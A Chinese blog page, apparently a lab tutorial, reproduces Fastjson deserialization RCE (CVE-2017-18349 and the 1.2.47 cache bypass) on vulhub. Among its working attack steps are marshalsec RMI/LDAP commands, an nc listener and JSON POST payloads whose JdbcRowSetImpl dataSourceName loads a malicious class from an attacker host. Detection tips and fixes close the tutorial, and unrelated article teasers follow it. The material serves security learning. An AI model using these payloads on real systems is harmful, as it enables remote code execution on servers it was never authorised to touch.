当前位置: 首页 > news >正文

04-Fastjson反序列化漏洞

免责声明
本文仅限于学习讨论与技术知识的分享,不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任,一旦造成后果请自行承担!

1、Fastjson介绍

2、漏洞复现

2.1、1.2.24 RCE CVE-2017-18349

  1. vulhub启动靶场
    在这里插入图片描述
    启动成功
    在这里插入图片描述

  2. Kali 用marshalsec启动LDAP/RMI服务

在这里插入图片描述

  1. Kali 用python启动HTTP服务,存放恶意类

这是我们的恶意代码
在这里插入图片描述
在jdk的bin目录下编译恶意文件
在这里插入图片描述
在这里插入图片描述
可以通过访问看有没有启动成功
在这里插入图片描述

  1. Kali 用netcat监听端口,建立反弹连接
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.110.5:8089/#LinuxTouch" 9473

在这里插入图片描述

5、发送payload

POST / HTTP/1.1
Host: 192.168.110.16:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 188{ "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://192.168.110.5:9473/LinuxTouch", "autoCommit": true}
}

在这里插入图片描述

结果
先后连接成功
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

8090端口接收到了我们发送的payload并进行反序列化,然后去连接到了rmi://192.168.110.5:9473这个服务器,rmi服务器作为一个指路人去8089端口下载恶意文件

2.2、1.2.47 RCE CNVD-2019-22238

绕过原理

在1.2.47版本及以下的情况下,loadClass中默 认cache为true,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存 中获取到了com.sun.rowset.jdbcRowSetlmpl这个类,即可绕过黑名单。

  1. 启动靶场
    在这里插入图片描述
  2. kali启动监听
nc -lvp 9001

在这里插入图片描述

  1. Kali 用marshalsec启动LDAP/RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.110.5:8089/#LinuxRevers" 9473
  1. 恶意类,对其进行编译等等。跟上面步骤一样。
    在这里插入图片描述
  2. 放入到对应文件夹中并启动http服务
    在这里插入图片描述
  3. 发送payload
POST / HTTP/1.1
Host: 192.168.110.16:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 268{"a":{"@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"},"b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://192.168.110.5:9473/LinuxRevers", "autoCommit":true}
}

连接成功

在这里插入图片描述

3、漏洞原理

1、序列化字符准备类名、dataSourceName属性和autoCommit属性
2、JdbcRowSetImpl反序列化,调用JdbcRowSetImpl的setAutoCommit()
3、setAutoCommit()调用connect()
3、connect()调用lookup()连接到LDAP/RMI服务器
4、下载恶意代码到本地,执行,攻击发生

4、漏洞挖掘思路

  1. 找到发送JSON序列化数据的接口
  2. 判断是否使用fastjon
    非法格式报错
    {“x”:"
    在这里插入图片描述
    在这里插入图片描述

Burp 插件
https://github.com/zilong3033/fastjsonScan

5、漏洞修复

  1. 升级JDK
    6u211 / 7u201 / 8u191 /11.0.1
  2. 升级Fastjson到最新版
    fastjson.parser.safeMode=true
  3. 使用安全产品过滤非法内容
  4. 更换其它序列化工具
    Jackson/Gson

相关文章:

04-Fastjson反序列化漏洞

免责声明 本文仅限于学习讨论与技术知识的分享,不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任,一旦造成后果请自行承担&…...

ABC365(A-D)未补

A - Leap Year(模拟) 题意:给定一个数字n,如果n不是4的倍数,输出365;如果n是4的倍数但不是100的倍数,输出366;如果n是100的倍数但不是400的倍数,输出365;如果…...

Python用png生成不同尺寸的图标

Kimi生成 from PIL import Imagedef generate_icon(source_image_path, output_image_path, size):with Image.open(source_image_path) as img:# 转换图片为RGBA模式,确保有透明通道if img.mode ! RGBA:img img.convert(RGBA)# 调整图片大小到指定尺寸img img.r…...

1688中国站获得工厂档案信息 API

公共参数 名称类型必须描述keyString是免费申请调用key(必须以GET方式拼接在URL中)secretString是调用密钥api_nameString是API接口名称(包括在请求地址中)[item_search,item_get,item_search_shop等]cacheString否[yes,no]默认y…...

定时任务框架 xxl-job

🍓 简介:java系列技术分享(👉持续更新中…🔥) 🍓 初衷:一起学习、一起进步、坚持不懈 🍓 如果文章内容有误与您的想法不一致,欢迎大家在评论区指正🙏 🍓 希望这篇文章对你有所帮助,欢…...

C/C++关键字大全

目录 一、const 二、static 三、#define 和 typedef 四、#define 和 inline 五、#define 和 const 六、new 和 malloc 七、const 和 constexpr 八、volatile 九、extern 十、前置 和后置 十一、atomic 十二、struct 和 class 一、const 1、const 关键字可用于定义…...

ROS2 Linux Mint 22 安装教程

前言: 本教程在Linux系统上使用。 一、linux安装 移动硬盘安装linux:[LinuxToGo教程]把ubuntu装进移动固态,随时随用以下是我建议安装linux mint版本的清单: 图吧工具箱:https://www.tbtool.cn/linux mint: https://…...

快速将网站从HTTP升级为HTTPS

在当今数字化的世界中,网络安全变的越来越重要,HTTPS(超文本传输安全协议)不仅能够提供加密的数据传输,还能增强用户信任度,提升搜索引擎排名,为网站带来多重益处。所以将网站从HTTP升级到HTTPS…...

Qt程序移植至Arm开发板

目录 1.工具准备: 系统调试工具SecureCRT 虚拟机安装linux(Ubuntu) 交叉编译工具链 ARM 端Qt 环境(Qt-5.7.1) 1) linux processor SD安装 2)交叉编译工具链配置 2.编译Qt工程: 2.0 交叉编译 依赖库源码,生成动…...

删除分区 全局索引 drop partition global index Statistics变化

1.不一定unusable,可以先删除data (index 再删除过程中会更新结构)再drop/truncate. ---------------------- CREATE TABLE interval_sale ( prod_id NUMBER(6) , cust_id NUMBER , time_id DATE ) PARTITION BY RANGE (time_i…...

git回退未commit、回退已commit、回退已push、合并某一次commit到另一个分支

文章目录 1、git回退未commit2、git回退已commit3、git回退已push的代码3.1 直接丢弃某一次的push3.2 撤销push后,不丢弃改动,重新修改后要再次push 4、合并某一次commit到另一个分支 整理几个工作上遇到的git问题。 1、git回退未commit git回退未comm…...

yolov8pose 部署rknn(rk3588)、部署地平线Horizon、部署TensorRT,部署工程难度小、模型推理速度快,DFL放后处理中

特别说明:参考官方开源的yolov8代码、瑞芯微官方文档、地平线的官方文档,如有侵权告知删,谢谢。 模型和完整仿真测试代码,放在github上参考链接 模型和代码。 之前写了yolov8、yolov8seg、yolov8obb 的 DFL 放在模型中和放在后处理…...

程序员找工作之操作系统面试题总结分析

程序员在找工作面试时,操作系统方面可能会被问到的问题涵盖了多个核心知识点和概念。以下是对这些面试问题的总结和分析: 1. 核心硬件与体系结构 微机的核心部件:询问微机硬件系统中最核心的部件是什么(CPU)。处理机…...

TypeScript 迭代器和生成器详解

目录 迭代器(Iterators) 生成器(Generators) 使用场景 for..of vs. for..in 语句 for..of 循环 for..in 循环 区别总结 注意事项 总结 在 TypeScript 中,迭代器(Iterators)和生成器&am…...

echarts 极坐标柱状图 如何定义柱子颜色

目录 echarts 极坐标柱状图 如何定义柱子颜色问题描述方式一 在 series 数组中定义颜色方式二 通过 colorBy 和 color 属性配合使用 echarts 极坐标柱状图 如何定义柱子颜色 本文将分享在使用 echarts 的 极坐标柱状图 时,如何自定义柱子的颜色。问题本身并不难解决…...

JavaScript模块化

JavaScript模块化 一、CommonJS规范1、在node环境下的模块化导入、导出 2、浏览器环境下使用模块化browserify编译js 二、ES6模块化规范1、在浏览器端的定义和使用2、在node环境下简单使用方式一:方式二: 3、导出数据4、导入数据5、数据引用问题 一、Com…...

文件包含漏洞Tomato靶机渗透_详解

一、导入靶机 将下载好的靶机拖入到VMware中,填写靶机机名称(随便起一个)和路径 虚拟机设置里修改网络状态为NAT模式 二、信息收集 1、主机发现 用御剑扫描工具扫描虚拟机的NAT网段,发现靶机的IP是192.168.204.141 2、端口扫描 用御剑端口扫描扫描全…...

湖北汽车工业学院-高等数学考纲

湖北汽车工业学院2024年普通专升本考试的《高等数学》考试大纲已经公布。考试形式为闭卷笔试,满分100分,考试时间为90分钟。考试内容主要包括以下几个部分: 1. **函数、极限、连续**: 涉及函数概念、表示法、有界性、周期性、奇偶…...

Linux:Xshell相关配置及前期准备

一、Linux的环境安装 1、裸机安装或者是双系统 2、虚拟机的安装 3、云服务器(推荐)——>安装简单,维护成本低,学习效果好,仿真性高(可多人一起用一个云服务器) 1.1 购买云服务器 使用云服…...

模型 正态分布(通俗解读)

系列文章 分享 模型,了解更多👉 模型_思维模型目录。随机世界的规律,大自然里的钟形曲线。 1 正态分布的应用 1.1 质量管理之六西格玛 六西格玛是一种旨在通过识别和消除缺陷原因来提高制造过程或业务流程质量的管理策略。我们先来了解下六…...

安装了Vue-pdf后,打包文件多出了worker.js和worker.js.gz

解决方式: 修改node_modules/worker-loader/dist/index文件 将 const filename _loaderUtils2.default.interpolateName(this, options.name || 中的 js/[hash].worker.js,更改为 static/js/[hash].worker.js...

使用excel生成国际化多语言js文件的脚本

1、创建一个空文件夹 2、终端 cnpm install xlsx3、在文件夹创建一个index.js // 导入 Node.js 内置的 fs 模块 const fs = require(fs); // 导入 xlsx 模块,用于处理 Excel 文件 const XLSX = require(xlsx);// 读取 Excel 文件 function readExcelFile(filePath) {const …...

【蝉联】摩斯再次获得“中国隐私计算市场份额第一”

蝉联第一 8月2日,全球领先的IT市场研究和咨询公司IDC发布了《中国隐私计算平台厂商市场份额,2023》报告。蚂蚁集团凭借商用隐私计算平台摩斯(MORSE),以 35.3%的市场份额蝉联第一。 2023年,中国隐私计算平台…...

安装 qcloud-python-sts 失败 提示 gbk codecs decode byte 应该如何解决

安装 qcloud-python-sts 失败 提示 gbk codecs decode byte 应该如何解决 解决方案: 将windows 修改为utf-8编码格式 解决步骤如下: 1. 进入控制台 2. 点击区域 4. 点击管理 4.勾选UTF-8 5.重启系统即可...

mv:自动对焦代码

try:# The camera will now focus on whatever is in front of it.sensor.ioctl(sensor.IOCTL_TRIGGER_AUTO_FOCUS) except:raise (Exception("Auto focus is not supported by your sensor/board combination."))...

【C++】数组案例 五只小猪称体重

题目:给出物质小猪体重,找出最大的体重的值并打印 思路:利用菽粟写入五只小猪的体重,让每一个元素都赋值给一个整型变量并每赋值一次就于下一个数组中的元素比,若是大就继续赋值给这个变量,若是小则不赋值…...

Bug 解决 | 后端项目无法正常启动,或依赖服务连接失败

目录 1、版本问题 2、依赖项问题 明明拷贝的代码,为什么别人行,我启动就报错? 这篇文章我就理一下最最常见的项目启动报错的两种原因! 1、版本问题 比如明明项目的 Java 版本是 8,你非得拿 5 跑?那不是…...

Linux: network: mlx5_core crash;dos

https://bugzilla.redhat.com/show_bug.cgi?idCVE-2024-41090 https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id8be915fc5ff9a5e296f6538be12ea75a1a93bdea https://www.openwall.com/lists/oss-security/2024/07/24/4 是tap的驱动向下传递的包…...

用手机剪辑视频素材从哪里找?用手机视频素材库分享

视频编辑是一门充满创意的艺术,无论是制作短片、广告还是个人Vlog,都离不开高质量的视频素材。如果自己拍摄的素材不能完全满足创作需求,或者需要更多样化的内容来丰富视频,那么优质的视频素材来源至关重要。下面推荐几个提供高品…...

DataStream API使用Sink及自定义Sink

目录 Data Sinks 案例 自定义Sink Human实体类 自定义RichSinkFunction MySQL Sink使用 测试 Data Sinks 数据接收器(Data sinks)消费数据流并将它们转发到文件、套接字、外部系统或打印它们。Flink带有各种内置输出格式,这些格式被封装在数据流的算子后面: …...

杭州网站建设培训班/百度免费下载安装百度

JAVA方法和本地方法 原地址http://blog.sina.com.cn/s/blog_5b9b4abe01016zw0.html JAVA中有两种方法:JAVA方法和本地方法 JAVA方法是由JAVA编写的,编译成字节码,存储在class文件中本地方法是由其它语言编写的,编译成和处理器相关…...

数据需求 网站建设/关键词怎么找出来

记事本软件是我们比较常用的一款记事工具,因为它具备简单易操作的特点,所以当下它的忠实用户越来越多。不过虽然记事本软件可以满足我们记事的需求,但是当记录内容积攒到一定的程度时,清一色的字体颜色很难凸显出重点内容&#xf…...

模板建站优缺点/app开发需要多少费用

不能让猪猪老是为我担惊受怕,哪怕是惹她生气也不能惹她担心。 因为晚上加班回来晚,到家其实已经十二点多了,十一点多的时候给猪猪打了电话,她当然一直很生气嫌回来太晚,后来电话就没电啦。等着走,却又没有…...

免费微信网站建设/百度推广售后客服电话

【摘 要】 List(interface):次序是List最重要的特点;它确保维护元素特定的顺序。List为Collection添加了许多方法,使得能够向List中间插入与移除元素;Set(interface):存入Set的每个元素必须是唯一的,因为Set不保存重复元素。加入S…...

推广网站优化seo教程上排名/郑州seo优化顾问阿亮

datasg中的数据的存储结转载于:https://www.cnblogs.com/LoveFishC/archive/2012/07/27/3845622.html...

经济与政府网站建设/寻找客户资源的网站

2019独角兽企业重金招聘Python工程师标准>>> 1.指定目录打jar包 (单模块打包) <plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-jar-plugin</artifactId><version>3.1.0</version><configurat…...